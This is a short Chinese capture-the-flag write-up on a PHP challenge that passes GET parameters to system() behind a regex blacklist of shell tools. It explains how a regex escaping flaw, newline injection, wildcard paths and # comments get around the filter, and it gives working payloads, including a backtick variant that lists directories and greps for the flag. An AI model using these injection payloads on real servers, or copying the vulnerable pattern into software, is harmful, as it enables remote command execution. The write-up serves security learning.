rce,正则匹配特点,文件通配符,命令换行,命令注释
1 | <?php |
2 | highlight_file(__FILE__); |
3 | $a = $_GET['a']; |
4 | $b = $_GET['b']; |
5 | // try bypass it |
6 | if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a)) |
7 | $a = ""; |
8 | $a ='"' . $a . '"'; |
9 | if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b)) |
10 | $b = ""; |
11 | $b = '"' . $b . '"'; |
12 | $cmd = "file $a $b"; |
13 | str_replace(" ","","$cmd"); |
14 | system($cmd); |
15 | ?> |
预期解
正则中有一段\\|
会将|进行转义,这是因为在preg_match中,三个反斜杠\\才能匹配一个真正意义上的字符反斜杠\,所以这里因为正则的匹配机制造成了反引号逃逸。
传入a,b后会再前后加上双引号,所以我们可以利用 \ 给a后面的”进行转义,然后让前面的”匹配b前面的,然后利用%0a,来造成命令换行,利用#号来进行命令终结。
实质上还是因为正则\匹配不到\的问题再结合linux的命令终止符%20#处理双引号.
最终的payload为:?a=\&b=%0a/???/gr?p -r ctf %23 %23='#'
或?a=\&b=%0a/???/gr[d-f]p+-r+.+%23
我的思路是因为正则匹配禁用了bin,所以估计实在bin目录下
非预期解
这边正则没有过滤 ``反引号间的内容,会被shell先执行。其输出被放入主命令后,主命令再被执行。
dir列目录?a=`dir%20/

试试grep查找flag
?a=`/???/gr?p -r ctf
